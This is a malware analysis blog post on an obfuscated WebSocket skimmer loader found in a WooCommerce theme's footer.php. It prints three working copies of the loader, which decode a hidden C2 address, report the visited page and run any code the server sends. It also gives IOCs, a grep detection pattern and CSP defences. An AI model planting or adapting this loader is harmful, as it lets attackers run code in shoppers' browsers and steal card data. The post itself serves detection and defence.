Every skimmer I’ve written about so far has had code in it: form scrapers, exfil functions, fake payment forms. This one has almost nothing. The whole thing is about 350 bytes, and the only logic in it is “connect to a server and run what it says.”

No skimming code is in the sample. The attacker’s server decides, page by page, what the visitor’s browser executes.

I collected three versions of the same script between December 2024 and March 2025. This post covers how they work, how to read the hidden address, and what makes them hard to catch.

The Script#

Here is the version that was injected into a WooCommerce theme’s footer.php, just before </body>:

<script>const bdj = [93,89,89,16,5,5,89,73,66,68,79,79,71,75,68,68,4,94,79,73,66,5,76,69,70,78,79,88,27,21,89,69,95,88,73,79,23];const cfdb = 42;window.ww = new WebSocket(String.fromCharCode(...bdj.map(phpf => phpf ^ cfdb)) + encodeURIComponent(location.href));window.ww.addEventListener('message', event => {new Function(event.data)()});</script>

It does three things:

  1. Builds a URL. bdj is a list of numbers, and each one is XORed with cfdb (42) and turned into a character. XOR is its own inverse, so the same operation decodes it. The result is wss://schneemann.tech/folder1?source=.
  2. Connects, and says where it is. It opens a WebSocket to that URL with encodeURIComponent(location.href) added to the end, so the server learns exactly which page the visitor is on.
  3. Runs the reply. Every message that comes back goes into new Function(event.data)(). Whatever text the server sends is run as JavaScript on the page.

Three Variants#

Variant Where Hidden address
A injected into a theme’s footer.php wss://schneemann.tech/folder1?source=
B a standalone copy, 347 bytes (the footer line, byte for byte) wss://schneemann.tech/folder1?source=
C a differently written copy of the same logic wss://tetsted.com/common?source=

Variant C wraps the same steps in a function and uses .map(function(...){...}) instead of arrow functions, with the same XOR key of 42:

<script>!function(aga,uywc){!function(aga){var ghg=function(aga,uywc){return aga.map(function(aga,ghg){return String.fromCharCode(aga^uywc)}).join('')}(aga,uywc);window.ww=new WebSocket(ghg+encodeURIComponent(location.href));window.ww.addEventListener('message',function(event){new Function(event.data)()})}(aga)}([93,89,89,16,5,5,94,79,94,89,94,79,78,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23],42);</script>

Different variable names and a different structure mean a signature written for A won’t match C, but the behavior is the same. They also share the ?source= parameter and the global name window.ww. I’d guess the same author wrote both.

Reading the Hidden Address#

You don’t need to run anything. Paste the numbers into Python:

a = [93,89,89,16,5,5,94,79,94,89,94,79,78,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23]
print(''.join(chr(x ^ 42) for x in a))   # wss://tetsted.com/common?source=

I decoded all three this way. The two addresses are similar enough that it’s worth decoding each one instead of assuming.

Why a WebSocket Loader?#

A normal injection is <script src="https://evil.example/skimmer.js">. That has several weaknesses for the attacker: the URL sits in the page source, the file can be downloaded and analyzed by anyone, and a blocklist stops it.

A WebSocket loader flips all of those:

  • The server picks the code per request. Because the page URL is sent along (?source=...), the server can reply with nothing on the home page and a card skimmer on /checkout/. It can also treat visitors differently, for example skipping admins, security crawlers, or repeat visits.
  • Nothing is fetched as a file. There’s no .js URL to scan or blocklist, only a socket. A scanner that crawls the site never sees the second stage unless the server chooses to send it.
  • The address is XORed. Searching the site’s files for the C2 domain won’t find it.
  • It’s reusable. The same 350 bytes can be used for credit card skimming one week and a redirect the next, without touching the infected site again. (That’s also how the qetbootstrap.com skimmer works. In my tags-manager.com post, the WebSocket is the other way around: it carries stolen data out, not code in.)

I should be clear about what I can’t say. None of the samples contains skimming code, and I never saw what the servers send. I’m calling this a skimmer loader because of where it was found (the footer of a WooCommerce shop theme) and because of how well it fits that job. It could just as easily deliver ads or redirects.

Where It Was Hiding#

The injection sits at the very end of the theme’s footer.php, after the theme’s own scripts (carousel setup, a newsletter form helper) and right before the closing </body>. The file is the theme’s own, so nothing about it stands out on the file list. The only other mention of a WebSocket anywhere in that file is this one line.

The Domains Today#

I used registry (RDAP) data and public DNS only, and did not contact either server.

Domain Registered Registrar DNS today
schneemann.tech 2026-09-14 Porkbun no address record
tetsted.com 2026-09-14 Porkbun 158.94.210.201 (a RIPE block; I couldn’t identify the owner)

The interesting part is that both domains were registered on the same day at the same registrar, 18 to 21 months after I collected these samples. They are not the original registrations, so both had lapsed. A single party picking up both on the same day suggests the two are linked, but I can’t tell who. It could be the operator renewing their infrastructure, a researcher or security company taking the domains over to sinkhole them, or someone buying dropped domains. Because of that, I’d avoid connecting to either of them from a work machine.

Detection#

  • Search the files. Any theme or plugin file containing new WebSocket(String.fromCharCode or new Function(event.data) is suspect. A broader pattern is a <script> that contains both WebSocket and fromCharCode:
grep -rlE "new WebSocket\(.*fromCharCode|new Function\(event\.data\)" wp-content/ --include=*.php --include=*.js
  • Look at it in the browser. Open DevTools, go to Network, filter by WS, and reload a product or checkout page. A storefront has no reason to open a WebSocket to a domain nobody recognizes.
  • Use a Content Security Policy. Two directives would have stopped this: connect-src (which also governs WebSocket connections) restricted to hosts you use, and a script-src without 'unsafe-eval', which blocks new Function(). Either one on its own breaks the loader.
  • Diff your theme files against the original theme, especially footer.php and header.php. File-based injections like this one are easy to find by diff.
  • Rotate FTP, SFTP and admin credentials and check how the file was changed; this was a file edit, not a database injection.

IOCs#

wss://schneemann.tech/folder1?source=<url-encoded page URL>
wss://tetsted.com/common?source=<url-encoded page URL>
Global: window.ww    Key: XOR 42    Sink: new Function(event.data)()
Array: [93,89,89,16,5,5,89,73,66,68,79,79,71,75,68,68,4,94,79,73,66,5,76,69,70,78,79,88,27,21,89,69,95,88,73,79,23]
Array: [93,89,89,16,5,5,94,79,94,89,94,79,78,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23]

Samples#

I’ve only included the tail of the injected footer.php; the rest is the shop theme’s own code.

footer.php (tail, variant A)
    textElement.addEventListener("mouseover", () => {
      copyLabel.classList.remove("hidden");
    });
    textElement.addEventListener("mouseout", () => {
      copyLabel.classList.add("hidden");
    });
    textElement.addEventListener("click", () => {
      copyToClipboard(textElement);
      copyLabel.textContent = "Copied";
      copyLabel.classList.add("hidden");
      setTimeout(() => (copyLabel.textContent = "Click to Copy"), 550);
    });
  }
}

</script>
<script>const bdj = [93,89,89,16,5,5,89,73,66,68,79,79,71,75,68,68,4,94,79,73,66,5,76,69,70,78,79,88,27,21,89,69,95,88,73,79,23];const cfdb = 42;window.ww = new WebSocket(String.fromCharCode(...bdj.map(phpf => phpf ^ cfdb)) + encodeURIComponent(location.href));window.ww.addEventListener('message', event => {new Function(event.data)()});</script>
</body>
</html>
variant B (standalone)
<script>const bdj = [93,89,89,16,5,5,89,73,66,68,79,79,71,75,68,68,4,94,79,73,66,5,76,69,70,78,79,88,27,21,89,69,95,88,73,79,23];const cfdb = 42;window.ww = new WebSocket(String.fromCharCode(...bdj.map(phpf => phpf ^ cfdb)) + encodeURIComponent(location.href));window.ww.addEventListener('message', event => {new Function(event.data)()});</script>
variant C
<script>!function(aga,uywc){!function(aga){var ghg=function(aga,uywc){return aga.map(function(aga,ghg){return String.fromCharCode(aga^uywc)}).join('')}(aga,uywc);window.ww=new WebSocket(ghg+encodeURIComponent(location.href));window.ww.addEventListener('message',function(event){new Function(event.data)()})}(aga)}([93,89,89,16,5,5,94,79,94,89,94,79,78,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23],42);</script>